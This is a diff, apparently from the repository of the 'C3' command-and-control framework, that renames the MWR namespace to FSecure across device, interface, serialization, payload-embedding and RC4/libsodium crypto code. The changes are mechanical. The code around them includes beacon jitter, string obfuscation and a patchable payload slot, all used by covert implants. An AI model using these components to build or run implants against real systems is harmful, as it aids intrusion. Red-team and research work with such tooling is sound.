@ -10,7 +10,7 @@ void MWR::C3::AbstractPeripheral::OnReceive()
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::C3::AbstractChannel::OnReceive()
void FSecure::C3::AbstractChannel::OnReceive()
{
if (auto bridge = GetBridge(); bridge)
for (auto&& packet : OnReceiveFromChannelInternal())
@ -18,7 +18,7 @@ void MWR::C3::AbstractChannel::OnReceive()
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::C3::Device::SetUpdateDelay(std::chrono::milliseconds minUpdateDelayInMs, std::chrono::milliseconds maxUpdateDelayInMs)
void FSecure::C3::Device::SetUpdateDelay(std::chrono::milliseconds minUpdateDelayInMs, std::chrono::milliseconds maxUpdateDelayInMs)
{
// Sanity checks.
if (minUpdateDelayInMs > maxUpdateDelayInMs)
@ -32,7 +32,7 @@ void MWR::C3::Device::SetUpdateDelay(std::chrono::milliseconds minUpdateDelayInM
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::C3::Device::SetUpdateDelay(std::chrono::milliseconds frequencyInMs)
void FSecure::C3::Device::SetUpdateDelay(std::chrono::milliseconds frequencyInMs)
{
std::lock_guard<std::mutex> guard(m_UpdateDelayMutex);
m_MinUpdateDelay = frequencyInMs;
@ -40,23 +40,23 @@ void MWR::C3::Device::SetUpdateDelay(std::chrono::milliseconds frequencyInMs)
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
std::chrono::milliseconds MWR::C3::Device::GetUpdateDelay() const
std::chrono::milliseconds FSecure::C3::Device::GetUpdateDelay() const
{
std::lock_guard<std::mutex> guard(m_UpdateDelayMutex);
return m_MinUpdateDelay != m_MaxUpdateDelay ? MWR::Utils::GenerateRandomValue(m_MinUpdateDelay, m_MaxUpdateDelay) : m_MinUpdateDelay;
return m_MinUpdateDelay != m_MaxUpdateDelay ? FSecure::Utils::GenerateRandomValue(m_MinUpdateDelay, m_MaxUpdateDelay) : m_MinUpdateDelay;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::C3::Device::OnRunCommand(ByteView command)
FSecure::ByteVector FSecure::C3::Device::OnRunCommand(ByteView command)
{
switch (command.Read<uint16_t>())
{
case static_cast<uint16_t>(MWR::C3::Command::Close):
case static_cast<uint16_t>(FSecure::C3::Command::Close):
return Close(), ByteVector{};
case static_cast<uint16_t>(MWR::C3::Command::UpdateJitter) :
case static_cast<uint16_t>(FSecure::C3::Command::UpdateJitter) :
{
auto [minVal, maxVal] = command.Read<float, float>();
return SetUpdateDelay(MWR::Utils::ToMilliseconds(minVal), MWR::Utils::ToMilliseconds(maxVal)), ByteVector{};
return SetUpdateDelay(FSecure::Utils::ToMilliseconds(minVal), FSecure::Utils::ToMilliseconds(maxVal)), ByteVector{};
}
default:
throw std::runtime_error(OBF("Device received an unknown command"));
@ -64,7 +64,7 @@ MWR::ByteVector MWR::C3::Device::OnRunCommand(ByteView command)
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::C3::AbstractConnector::OnRunCommand(ByteView command)
FSecure::ByteVector FSecure::C3::AbstractConnector::OnRunCommand(ByteView command)
{
switch (command.Read<uint16_t>())
{
@ -76,13 +76,13 @@ MWR::ByteVector MWR::C3::AbstractConnector::OnRunCommand(ByteView command)
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::C3::Device::Close()
void FSecure::C3::Device::Close()
{
GetBridge()->Close();
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::C3::AbstractConnector::TurnOff()
void FSecure::C3::AbstractConnector::TurnOff()
{
GetBridge()->TurnOff();
}

View File

@ -2,7 +2,7 @@
#include "BackendCommons.h"
namespace MWR::C3
namespace FSecure::C3
{
template<typename BridgeT>
struct Interface

View File

@ -2,7 +2,7 @@
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
template<typename BridgeT>
void MWR::C3::Interface<BridgeT>::OnAttach(std::shared_ptr<BridgeT> const& bridge)
void FSecure::C3::Interface<BridgeT>::OnAttach(std::shared_ptr<BridgeT> const& bridge)
{
// Store relay pointer.
m_Bridge = bridge;
@ -17,7 +17,7 @@ void MWR::C3::Interface<BridgeT>::OnAttach(std::shared_ptr<BridgeT> const& bridg
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
template<typename BridgeT>
void MWR::C3::Interface<BridgeT>::Log(LogMessage const& message)
void FSecure::C3::Interface<BridgeT>::Log(LogMessage const& message)
{
// If Relay is already connected then forward this call. Otherwise store messages internally until we get connected.
if (auto bridge = GetBridge())
@ -28,7 +28,7 @@ void MWR::C3::Interface<BridgeT>::Log(LogMessage const& message)
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
template<typename BridgeT>
void MWR::C3::Interface<BridgeT>::Detach()
void FSecure::C3::Interface<BridgeT>::Detach()
{
if (auto bridge = GetBridge())
{
@ -39,14 +39,14 @@ void MWR::C3::Interface<BridgeT>::Detach()
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
template<typename BridgeT>
MWR::ByteVector MWR::C3::Interface<BridgeT>::OnRunCommand(ByteView command)
FSecure::ByteVector FSecure::C3::Interface<BridgeT>::OnRunCommand(ByteView command)
{
throw std::logic_error{ OBF("This Device doesn't support any Commands.") };
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
template<typename BridgeT>
std::shared_ptr<BridgeT> MWR::C3::Interface<BridgeT>::GetBridge() const
std::shared_ptr<BridgeT> FSecure::C3::Interface<BridgeT>::GetBridge() const
{
return m_Bridge.lock();
}

View File

@ -5,14 +5,14 @@
using json = nlohmann::json;
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::C3::InterfaceFactory& MWR::C3::InterfaceFactory::Instance()
FSecure::C3::InterfaceFactory& FSecure::C3::InterfaceFactory::Instance()
{
static auto instance = InterfaceFactory{};
return instance;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
std::string MWR::C3::InterfaceFactory::GetCapability()
std::string FSecure::C3::InterfaceFactory::GetCapability()
{
json retValue;
auto populate = [&](auto* typePtr, std::string name)

View File

@ -1,9 +1,9 @@
#pragma once
#include "Common/MWR/CppTools/Hash.h"
#include "Common/FSecure/CppTools/Hash.h"
#include "Interface.h"
namespace MWR::C3
namespace FSecure::C3
{
/// Singleton class allowing registration and access to functors creating new Interface.
class InterfaceFactory

View File

@ -8,4 +8,4 @@
using namespace std::chrono_literals;
// C3 Precompiled header.
#include "Common/MWR/PrecompiledHeader.hpp" //< CppCommons PCH.
#include "Common/FSecure/PrecompiledHeader.hpp" //< CppCommons PCH.

View File

@ -1,6 +1,6 @@
#pragma once
namespace MWR
namespace FSecure
{
/// Owning container with size known at compilation time.
template <size_t N>

View File

@ -13,7 +13,7 @@
/// A(uint16_t a, uint16_t b) : m_a(a), m_b(b) {}
/// };
///
/// namespace MWR
/// namespace FSecure
/// {
/// template <>
/// struct ByteConverter<A>
@ -37,7 +37,7 @@
/// }
/// specializations for ByteConverter for common types.
namespace MWR
namespace FSecure
{
/// ByteConverter specialization for enum.
template <typename T>
@ -164,9 +164,9 @@ namespace MWR
Bytes() = delete;
};
/// ByteConverter specialization for MWR::Bytes.
/// ByteConverter specialization for FSecure::Bytes.
template <size_t N>
struct ByteConverter<MWR::Bytes<N>>
struct ByteConverter<FSecure::Bytes<N>>
{
/// Retrieve ByteView substring with requested size.
/// @param bv. Buffer with serialized data. Will be moved by N bytes.

View File

@ -3,7 +3,7 @@
#include "ByteArray.h"
#include "Utils.h"
namespace MWR
namespace FSecure
{
/// Forward declaration
class ByteView;
@ -14,7 +14,7 @@ namespace MWR
template <typename T, typename = void>
struct ByteConverter {};
/// Check if MWR namespace has function to get size of type T when it is stored to ByteVector.
/// Check if FSecure namespace has function to get size of type T when it is stored to ByteVector.
/// This class performs test that looks for implementation of Size function in ByteConverter<T>.
/// Depending on test result 'value' is set to one of:
/// absent - No implementation is available for Size function. Size can only be determined after serialization.
@ -23,8 +23,8 @@ namespace MWR
template <typename T>
class ByteSizeFunctionType
{
template <typename C> static uint32_t test(decltype(MWR::ByteConverter<T>::Size(std::declval<C>())));
template <typename C> static uint16_t test(decltype(MWR::ByteConverter<T>::Size(std::void_t<C>)));
template <typename C> static uint32_t test(decltype(FSecure::ByteConverter<T>::Size(std::declval<C>())));
template <typename C> static uint16_t test(decltype(FSecure::ByteConverter<T>::Size(std::void_t<C>)));
template <typename C> static uint8_t test(...);
public:
@ -219,11 +219,11 @@ namespace MWR
{
// There is only one type to calculate size for. Find implementation of Size for that type.
if constexpr (ByteSizeFunctionType<T>::value == ByteSizeFunctionType<T>::compileTime)
return MWR::ByteConverter<T>::Size();
return FSecure::ByteConverter<T>::Size();
else if constexpr (ByteSizeFunctionType<T>::value == ByteSizeFunctionType<T>::runTime)
return MWR::ByteConverter<T>::Size(arg);
return FSecure::ByteConverter<T>::Size(arg);
else if constexpr (ByteSizeFunctionType<T>::value == ByteSizeFunctionType<T>::absent)
return MWR::ByteConverter<T>::To(arg).size();
return FSecure::ByteConverter<T>::To(arg).size();
}
else
{
@ -233,15 +233,15 @@ namespace MWR
private:
/// Store custom type.
/// @param arg. Object to be stored. There must exsist MWR::ByteConverter<T>::To(T const&) method avalible to store custom type.
/// @param arg. Object to be stored. There must exsist FSecure::ByteConverter<T>::To(T const&) method avalible to store custom type.
/// @param args. Rest of objects that will be handled with recursion.
/// @return itself to allow chaining.
template<typename T, typename ...Ts, typename std::enable_if_t<std::is_same_v<decltype(MWR::ByteConverter<T>::To(std::declval<T>())), MWR::ByteVector >, int> = 0>
template<typename T, typename ...Ts, typename std::enable_if_t<std::is_same_v<decltype(FSecure::ByteConverter<T>::To(std::declval<T>())), FSecure::ByteVector >, int> = 0>
ByteVector & Store(T const& arg, Ts const& ...args)
{
if constexpr (!sizeof...(Ts))
{
Concat(MWR::ByteConverter<T>::To(arg));
Concat(FSecure::ByteConverter<T>::To(arg));
}
else
{
@ -305,7 +305,7 @@ namespace MWR
/// Create ByteVector with syntax ""_bvec
inline ByteVector operator "" _b(const char* data, size_t size)
{
MWR::ByteVector ret;
FSecure::ByteVector ret;
ret.resize(size);
std::memcpy(ret.data(), data, size);
return ret;
@ -314,7 +314,7 @@ namespace MWR
/// Create ByteVector with syntax L""_bvec
inline ByteVector operator "" _b(const wchar_t* data, size_t size)
{
MWR::ByteVector ret;
FSecure::ByteVector ret;
ret.resize(size * sizeof(wchar_t));
std::memcpy(ret.data(), data, size * sizeof(wchar_t));
return ret;
@ -324,7 +324,7 @@ namespace MWR
/// Checks if the contents of lhs and rhs are equal.
/// @param lhs. Left hand side of operator.
/// @param rhs. Right hand side of operator.
inline bool operator==(MWR::ByteVector const& lhs, MWR::ByteVector const& rhs)
inline bool operator==(FSecure::ByteVector const& lhs, FSecure::ByteVector const& rhs)
{
if (lhs.size() != rhs.size())
return false;
@ -335,7 +335,7 @@ namespace MWR
/// Checks if the contents of lhs and rhs are equal.
/// @param lhs. Left hand side of operator.
/// @param rhs. Right hand side of operator.
inline bool operator!=(MWR::ByteVector const& lhs, MWR::ByteVector const& rhs)
inline bool operator!=(FSecure::ByteVector const& lhs, FSecure::ByteVector const& rhs)
{
return !(lhs == rhs);
}
@ -345,9 +345,9 @@ namespace std
{
/// Add hashing function for ByteVector.
template <>
struct hash<MWR::ByteVector>
struct hash<FSecure::ByteVector>
{
size_t operator()(MWR::ByteVector const& bv) const
size_t operator()(FSecure::ByteVector const& bv) const
{
return std::hash<std::string_view>{}(std::string_view{ reinterpret_cast<const char*>(bv.data()), bv.size() });
}

View File

@ -2,7 +2,7 @@
#include "ByteVector.h"
namespace MWR
namespace FSecure
{
/// Non owning container.
class ByteView : std::basic_string_view<ByteVector::value_type>
@ -163,7 +163,7 @@ namespace MWR
/// @code auto [a, b, c] = someByteView.Read<int, float, std::string>(); @endcode
/// @note Returned types does not have to match exactly with Read template parameters list.
/// It is possible to create tags that will be used to retrieve different type.
template<typename T, typename ...Ts, typename = decltype(MWR::ByteConverter<std::remove_const_t<T>>::From(std::declval<ByteView>()))>
template<typename T, typename ...Ts, typename = decltype(FSecure::ByteConverter<std::remove_const_t<T>>::From(std::declval<ByteView>()))>
auto Read()
{
if constexpr (!sizeof...(Ts))
@ -222,13 +222,13 @@ namespace MWR
namespace Literals
{
/// Create ByteView with syntax ""_bvec
inline MWR::ByteView operator "" _bv(const char* data, size_t size)
inline FSecure::ByteView operator "" _bv(const char* data, size_t size)
{
return { reinterpret_cast<const uint8_t*>(data), size };
}
/// Create ByteView with syntax L""_bvec
inline MWR::ByteView operator "" _bv(const wchar_t* data, size_t size)
inline FSecure::ByteView operator "" _bv(const wchar_t* data, size_t size)
{
return { reinterpret_cast<const uint8_t*>(data), size * sizeof(wchar_t) };
}
@ -237,7 +237,7 @@ namespace MWR
/// Checks if the contents of lhs and rhs are equal.
/// @param lhs. Left hand side of operator.
/// @param rhs. Right hand side of operator.
inline bool operator==(MWR::ByteView const& lhs, MWR::ByteView const& rhs)
inline bool operator==(FSecure::ByteView const& lhs, FSecure::ByteView const& rhs)
{
if (lhs.size() != rhs.size())
return false;
@ -248,7 +248,7 @@ namespace MWR
/// Checks if the contents of lhs and rhs are equal.
/// @param lhs. Left hand side of operator.
/// @param rhs. Right hand side of operator.
inline bool operator!=(MWR::ByteView const& lhs, MWR::ByteView const& rhs)
inline bool operator!=(FSecure::ByteView const& lhs, FSecure::ByteView const& rhs)
{
return !(lhs == rhs);
}
@ -258,9 +258,9 @@ namespace std
{
/// Add hashing function for ByteView.
template <>
struct hash<MWR::ByteView>
struct hash<FSecure::ByteView>
{
size_t operator()(MWR::ByteView const& bv) const
size_t operator()(FSecure::ByteView const& bv) const
{
return std::hash<std::string_view>{}(bv);
}

View File

@ -16,7 +16,7 @@
#pragma comment(lib, "Common/zlib/lib/" Z_PLATFORM "zlib" Z_DEBUG ".lib")
namespace MWR::Compression
namespace FSecure::Compression
{
template <>
ByteVector Compress<Deflate>(ByteView data)

View File

@ -2,7 +2,7 @@
#include "ByteView.h"
namespace MWR::Compression
namespace FSecure::Compression
{
namespace Algorithm
{

View File

@ -66,7 +66,7 @@ namespace
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::Encryption::RC4(ByteView data, ByteView key)
FSecure::ByteVector FSecure::Encryption::RC4(ByteView data, ByteView key)
{
auto transformed = ByteVector{};
transformed.resize(data.size());

View File

@ -5,7 +5,7 @@
//
namespace MWR::Encryption
namespace FSecure::Encryption
{
/// @brief Encrypt/Decrypt data using R4.
///

View File

@ -1,6 +1,6 @@
#pragma once
namespace MWR
namespace FSecure
{
using HashT = std::uint32_t; ///< Type used for hashes.

View File

@ -2,9 +2,9 @@
#include "ByteView.h"
#include "Encryption.h"
#define MWR_PAYLOAD_GUID "15e3eda3-74c8-43d5-a4a1-e2e039542240"
#define FSECURE_PAYLOAD_GUID "15e3eda3-74c8-43d5-a4a1-e2e039542240"
namespace MWR
namespace FSecure
{
/// Payload type to be modified by external tool.
/// @tparam N. Size of payload.
@ -14,7 +14,7 @@ namespace MWR
class Payload
{
public:
/// This friend declaration creates method in MWR namespace. Two specializations will create compilation error.
/// This friend declaration creates method in FSecure namespace. Two specializations will create compilation error.
friend void PreventSpecializationOfMoreThenOnePayloadInProject() {}
/// Get size of payload (sizeof(PAYLOAD_GUID) + N)
@ -27,7 +27,7 @@ namespace MWR
/// @returns size_t. Size of prefix.
constexpr static size_t PrefixSize()
{
return sizeof(MWR_PAYLOAD_GUID);
return sizeof(FSECURE_PAYLOAD_GUID);
}
/// Get reference to singleton object.
@ -49,15 +49,15 @@ namespace MWR
/// @return uint32_t. Number of elements.
uint32_t Size() const
{
static_assert(sizeof(MWR_PAYLOAD_GUID) > sizeof(uint32_t));
return *reinterpret_cast<const uint32_t*>(m_Payload + sizeof(MWR_PAYLOAD_GUID) - sizeof(uint32_t) - 1);
static_assert(sizeof(FSECURE_PAYLOAD_GUID) > sizeof(uint32_t));
return *reinterpret_cast<const uint32_t*>(m_Payload + sizeof(FSECURE_PAYLOAD_GUID) - sizeof(uint32_t) - 1);
}
/// Get encryption key of data stored in payload.
/// @returns ByteView. Encryption key.
ByteView Key() const
{
return { reinterpret_cast<const uint8_t*>(m_Payload), sizeof(MWR_PAYLOAD_GUID) - sizeof(uint32_t) - 1 };
return { reinterpret_cast<const uint8_t*>(m_Payload), sizeof(FSECURE_PAYLOAD_GUID) - sizeof(uint32_t) - 1 };
}
/// Access elements stored in payload.
@ -114,8 +114,8 @@ namespace MWR
}
/// Underlying data.
constexpr static char m_Payload[sizeof(MWR_PAYLOAD_GUID) + N] = MWR_PAYLOAD_GUID;
constexpr static char m_Payload[sizeof(FSECURE_PAYLOAD_GUID) + N] = FSECURE_PAYLOAD_GUID;
};
}
#undef MWR_PAYLOAD_GUID
#undef FSECURE_PAYLOAD_GUID

View File

@ -22,4 +22,4 @@
// Literals.
using namespace std::string_literals; //< For string literals.
using namespace std::string_view_literals; //< For string_view literals.
using namespace MWR::Literals; //< For _b and _bv.
using namespace FSecure::Literals; //< For _b and _bv.

View File

@ -1,6 +1,6 @@
#pragma once
namespace MWR
namespace FSecure
{
/// Container with multi-threaded synchronization.
template<typename T>

View File

@ -1,6 +1,6 @@
#pragma once
namespace MWR
namespace FSecure
{
/// ScopeGuard helps you automate resource deallocation in a clear, robust way. Guarantees to call destructors in reverse order.<br>
/// Usage: auto p = new int; SCOPE_GUARD { delete p; }; ///< delete p; will be executed automatically on scope leave.<br>
@ -49,5 +49,5 @@ namespace MWR
/// SCOPE_GUARD macro definition. You should always use this macro instead of direct manipulations on ScopeGuard structure and it's objects.<br>
/// Usage: SCOPE_GUARD { expressions; that; will; be; processed; on; scope; leave; }
# define SCOPE_GUARD MWR::ScopeGuard SCOPE_GUARD_CAT(scope_guard_, __COUNTER__) = [&]
# define SCOPE_GUARD FSecure::ScopeGuard SCOPE_GUARD_CAT(scope_guard_, __COUNTER__) = [&]
}

View File

@ -9,7 +9,7 @@
# define OBF(x) x
#endif // !OBF
namespace MWR::Utils
namespace FSecure::Utils
{
/// Check if application is 64bit.
/// @return true for x64 process.
@ -155,12 +155,12 @@ namespace MWR::Utils
/// Symbols declared in this namespace should not be used directly
namespace Details
{
/// Check out MWR::Utils::CanApply
/// Check out FSecure::Utils::CanApply
/// This basic template will be used as default if instantiation of function searching idiom failed.
template<template<class...>class T, class, class...>
struct CanApply : std::false_type {};
/// Check out MWR::Utils::CanApply.
/// Check out FSecure::Utils::CanApply.
/// This specialized template will be used if instantiation of function searching idiom succeeded.
template<template<class...>class T, class...Ts>
struct CanApply<T, std::void_t<T<Ts...>>, Ts...> : std::true_type {};
@ -175,7 +175,7 @@ namespace MWR::Utils
///
/// Create alias to CanApply that will be used to test if some type has method Foo.
/// template<class T, class...Ts>
/// using HasFoo = MWR::Utils::CanApply<FooReturnType, T, Ts...>;
/// using HasFoo = FSecure::Utils::CanApply<FooReturnType, T, Ts...>;
///
/// Test type Bar can it call foo with int, double arguments.
/// HasFoo<Bar&, int, double>::value

View File

@ -1,6 +1,6 @@
#pragma once
namespace MWR::CppCommons::CppTools
namespace FSecure::CppCommons::CppTools
{
# pragma region Internal structures
@ -238,9 +238,9 @@ namespace MWR::CppCommons::CppTools
template<typename T> XError<T> XErrorCreator(const T& value) { return value; } ///< A universal Creator.
template<typename T> XErrorRaw<T> XErrorRawCreator(const T& value) { return value; } ///< Creator of raw XErrors.
template<typename TEnum> XErrorEnumWithHresult<TEnum> XErrorEnumWithHresultCreator(TEnum enumValue, HRESULT hr) ///< Creator for EnumWithHresult template.
{ static_assert(std::is_enum<TEnum>::value, OBF("XErrorEwhCreator template requires enumeration type.")); return MWR::CppCommons::CppTools::EnumWithHresult<TEnum>{ enumValue, hr }; }
{ static_assert(std::is_enum<TEnum>::value, OBF("XErrorEwhCreator template requires enumeration type.")); return FSecure::CppCommons::CppTools::EnumWithHresult<TEnum>{ enumValue, hr }; }
// Macros. @warning There is no XError<decltype(GetLastError())>. Value got by calling GetLastError() should be immediately converted to HRESULT, e.g. by using those macros:
# define XERROR_GETLASTERROR MWR::CppCommons::CppTools::XErrorCreator(HRESULT_FROM_WIN32(GetLastError()))
# define XERRORRAW_GETLASTERROR MWR::CppCommons::CppTools::XErrorRawCreator(HRESULT_FROM_WIN32(GetLastError()))
# define XERROR_GETLASTERROR FSecure::CppCommons::CppTools::XErrorCreator(HRESULT_FROM_WIN32(GetLastError()))
# define XERRORRAW_GETLASTERROR FSecure::CppCommons::CppTools::XErrorRawCreator(HRESULT_FROM_WIN32(GetLastError()))
}

View File

@ -1,8 +1,8 @@
#pragma once
#include "Common/MWR/CppTools/ByteView.h"
#include "Common/FSecure/CppTools/ByteView.h"
namespace MWR::Crypto
namespace FSecure::Crypto
{
/// Template class for encryption keys.
/// @tparam size Key length in bytes.

View File

@ -1,6 +1,6 @@
#pragma once
namespace MWR::Crypto
namespace FSecure::Crypto
{
inline namespace Sodium
{

View File

@ -2,7 +2,7 @@
#include "Sodium.h"
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::Crypto::Sodium::AsymmetricKeys MWR::Crypto::Sodium::GenerateAsymmetricKeys()
FSecure::Crypto::Sodium::AsymmetricKeys FSecure::Crypto::Sodium::GenerateAsymmetricKeys()
{
ByteVector publicKey(PublicKey::Size), privateKey(PrivateKey::Size);
if (crypto_box_keypair(publicKey.data(), privateKey.data()))
@ -12,7 +12,7 @@ MWR::Crypto::Sodium::AsymmetricKeys MWR::Crypto::Sodium::GenerateAsymmetricKeys(
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::Crypto::Sodium::SignatureKeys MWR::Crypto::Sodium::GenerateSignatureKeys()
FSecure::Crypto::Sodium::SignatureKeys FSecure::Crypto::Sodium::GenerateSignatureKeys()
{
ByteVector publicSignature(PublicSignature::Size), privateSignature(PrivateSignature::Size);
if (crypto_sign_keypair(publicSignature.data(), privateSignature.data()))
@ -22,7 +22,7 @@ MWR::Crypto::Sodium::SignatureKeys MWR::Crypto::Sodium::GenerateSignatureKeys()
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::Crypto::Sodium::SymmetricKey MWR::Crypto::Sodium::GenerateSymmetricKey() noexcept
FSecure::Crypto::Sodium::SymmetricKey FSecure::Crypto::Sodium::GenerateSymmetricKey() noexcept
{
ByteVector key(SymmetricKey::Size);
crypto_secretbox_keygen(key.data());
@ -30,7 +30,7 @@ MWR::Crypto::Sodium::SymmetricKey MWR::Crypto::Sodium::GenerateSymmetricKey() no
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::Crypto::Sodium::EncryptAnonymously(ByteView plaintext, SymmetricKey const& key)
FSecure::ByteVector FSecure::Crypto::Sodium::EncryptAnonymously(ByteView plaintext, SymmetricKey const& key)
{
Nonce<true> nonce;
ByteVector encryptedMessage(plaintext.size() + crypto_secretbox_MACBYTES + Nonce<true>::Size);
@ -44,7 +44,7 @@ MWR::ByteVector MWR::Crypto::Sodium::EncryptAnonymously(ByteView plaintext, Symm
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::Crypto::Sodium::DecryptFromAnonymous(ByteView message, SymmetricKey const& key)
FSecure::ByteVector FSecure::Crypto::Sodium::DecryptFromAnonymous(ByteView message, SymmetricKey const& key)
{
// Sanity check.
if (message.size() < Nonce<true>::Size + crypto_secretbox_MACBYTES)
@ -62,7 +62,7 @@ MWR::ByteVector MWR::Crypto::Sodium::DecryptFromAnonymous(ByteView message, Symm
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::Crypto::Sodium::EncryptAnonymously(ByteView plaintext, PublicKey const& encryptionKey)
FSecure::ByteVector FSecure::Crypto::Sodium::EncryptAnonymously(ByteView plaintext, PublicKey const& encryptionKey)
{
ByteVector ciphertext(plaintext.size() + crypto_box_SEALBYTES);
if (crypto_box_seal(ciphertext.data(), plaintext.data(), plaintext.size(), encryptionKey.data()))
@ -72,7 +72,7 @@ MWR::ByteVector MWR::Crypto::Sodium::EncryptAnonymously(ByteView plaintext, Publ
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::Crypto::Sodium::DecryptFromAnonymous(ByteView ciphertext, PublicKey const& myEncryptionKey, PrivateKey const& myDecryptionKey)
FSecure::ByteVector FSecure::Crypto::Sodium::DecryptFromAnonymous(ByteView ciphertext, PublicKey const& myEncryptionKey, PrivateKey const& myDecryptionKey)
{
// Sanity check.
if (ciphertext.size() < crypto_box_SEALBYTES)
@ -86,19 +86,19 @@ MWR::ByteVector MWR::Crypto::Sodium::DecryptFromAnonymous(ByteView ciphertext, P
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::Crypto::Sodium::EncryptAndSign(ByteView plaintext, SymmetricKey const& key, PrivateSignature const& signature)
FSecure::ByteVector FSecure::Crypto::Sodium::EncryptAndSign(ByteView plaintext, SymmetricKey const& key, PrivateSignature const& signature)
{
return EncryptAnonymously(SignMessage(plaintext, signature), key);
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::Crypto::Sodium::DecryptAndVerify(ByteView ciphertext, SymmetricKey const& key, PublicSignature const& signature)
FSecure::ByteVector FSecure::Crypto::Sodium::DecryptAndVerify(ByteView ciphertext, SymmetricKey const& key, PublicSignature const& signature)
{
return VerifyMessage(DecryptFromAnonymous(ciphertext, key), signature);
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::Crypto::Sodium::EncryptAndAuthenticate(ByteView plaintext, PublicKey const& theirPublicKey, PrivateKey const& myPrivateKey)
FSecure::ByteVector FSecure::Crypto::Sodium::EncryptAndAuthenticate(ByteView plaintext, PublicKey const& theirPublicKey, PrivateKey const& myPrivateKey)
{
Nonce<false> nonce;
ByteVector encryptedMessage(plaintext.size() + crypto_box_MACBYTES + Nonce<false>::Size);
@ -112,7 +112,7 @@ MWR::ByteVector MWR::Crypto::Sodium::EncryptAndAuthenticate(ByteView plaintext,
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::Crypto::Sodium::DecryptAndAuthenticate(ByteView message, PublicKey const& theirPublicKey, PrivateKey const& myPrivateKey)
FSecure::ByteVector FSecure::Crypto::Sodium::DecryptAndAuthenticate(ByteView message, PublicKey const& theirPublicKey, PrivateKey const& myPrivateKey)
{
// Sanity check.
if (message.size() < Nonce<false>::Size + crypto_box_MACBYTES)
@ -130,7 +130,7 @@ MWR::ByteVector MWR::Crypto::Sodium::DecryptAndAuthenticate(ByteView message, Pu
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::Crypto::Sodium::SignMessage(ByteView message, PrivateSignature const& signature)
FSecure::ByteVector FSecure::Crypto::Sodium::SignMessage(ByteView message, PrivateSignature const& signature)
{
ByteVector signedMessage(message.size() + crypto_sign_BYTES);
if (crypto_sign(signedMessage.data(), nullptr, message.data(), message.size(), signature.data()))
@ -140,7 +140,7 @@ MWR::ByteVector MWR::Crypto::Sodium::SignMessage(ByteView message, PrivateSignat
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::Crypto::Sodium::VerifyMessage(ByteView signedMessage, PublicSignature const& signature)
FSecure::ByteVector FSecure::Crypto::Sodium::VerifyMessage(ByteView signedMessage, PublicSignature const& signature)
{
// Sanity check.
if (signedMessage.size() < crypto_sign_BYTES)
@ -156,7 +156,7 @@ MWR::ByteVector MWR::Crypto::Sodium::VerifyMessage(ByteView signedMessage, Publi
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::Crypto::Sodium::PublicKey MWR::Crypto::Sodium::ConvertToKey(PublicSignature const& signature)
FSecure::Crypto::Sodium::PublicKey FSecure::Crypto::Sodium::ConvertToKey(PublicSignature const& signature)
{
ByteVector convertedKey(crypto_scalarmult_curve25519_BYTES);
if (crypto_sign_ed25519_pk_to_curve25519(convertedKey.data(), signature.data()))
@ -166,7 +166,7 @@ MWR::Crypto::Sodium::PublicKey MWR::Crypto::Sodium::ConvertToKey(PublicSignature
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::Crypto::Sodium::PrivateKey MWR::Crypto::Sodium::ConvertToKey(PrivateSignature const& signature)
